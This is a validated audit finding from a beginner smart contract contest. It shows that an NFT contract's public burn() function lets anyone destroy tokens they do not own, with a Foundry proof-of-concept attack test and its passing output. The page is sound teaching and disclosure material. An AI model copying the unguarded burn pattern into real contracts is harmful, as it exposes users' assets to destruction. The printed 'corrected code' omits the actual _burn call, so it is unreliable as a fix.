Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

[H-01] Any User Can Burn Any NFT Without Authorization

jpixelhand

Root + Impact

Description

The burn() function in the BidBeasts_NFT_ERC721.sol contract is publicly accessible and contains no authorization checks to verify whether the caller owns the token or has permission to burn it. This lack of access control represents a critical vulnerability in digital asset management, allowing any attacker to permanently destroy any NFT owned by another user. Root cause analysis reveals a fundamental design flaw in the function that omits permission validation before executing a destructive action.

function burn(uint256 _tokenId) public {
_burn(_tokenId);
emit BidBeastsBurn(msg.sender, _tokenId);
}

Risk

· Impact: High. Unauthorized destruction of NFTs leads to irreversible loss for legitimate owners. This directly compromises protocol integrity, user asset security, and can result in direct financial losses as well as major trust erosion in the platform.

· Likelihood: High. Exploitation of this vulnerability is straightforward and requires no special conditions. An attacker can interact with this function at any time to target any existing token, making the attack occurrence highly probable.

Proof of Concept

The following Foundry test demonstrates how an attacker can successfully burn an NFT belonging to another user:

function test_anyoneCanBurnOthersNFT() public {
// 1. Mint NFT to legitimate owner (SELLER)
vm.startPrank(OWNER);
nft.mint(SELLER);
vm.stopPrank();
​
uint256 tokenId = 0; // ID of newly minted token
​
// Verify SELLER is actual owner before attack
assertEq(nft.ownerOf(tokenId), SELLER);
​
// 2. Attacker from unauthorized address calls burn()
vm.prank(attacker);
nft.burn(tokenId); // Call succeeds
​
// 3. Verification: ownerOf should now revert since token no longer exists
vm.expectRevert();
nft.ownerOf(tokenId);

Result :

[PASS] test_anyoneCanBurnOthersNFT() (gas: 76424)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.39ms (259.54µs CPU time)

Recommended Mitigation

It is imperative to modify the burn() function to include strict authorization checks. The best practice is to use the token's ownership verification or explicitly check permissions.

An alternative and more robust approach, compliant with standards, is to inherit from OpenZeppelin's ERC721Burnable contract, which already implements secure burn logic requiring the caller to be either the owner or an approved address.

Here's the corrected code:

function burn(uint256 _tokenId) public {
+ require(ownerOf(_tokenId) == msg.sender, "Caller is not the token owner");
emit BidBeastsBurn(msg.sender, _tokenId);
}
}
​
Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeasts ERC721: Anyone Can Burn

In the BidBeasts ERC721 implementation, the burn function is publicly accessible, allowing any external user to burn NFTs they do not own. This exposes all tokens to unauthorized destruction and results in permanent asset loss.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.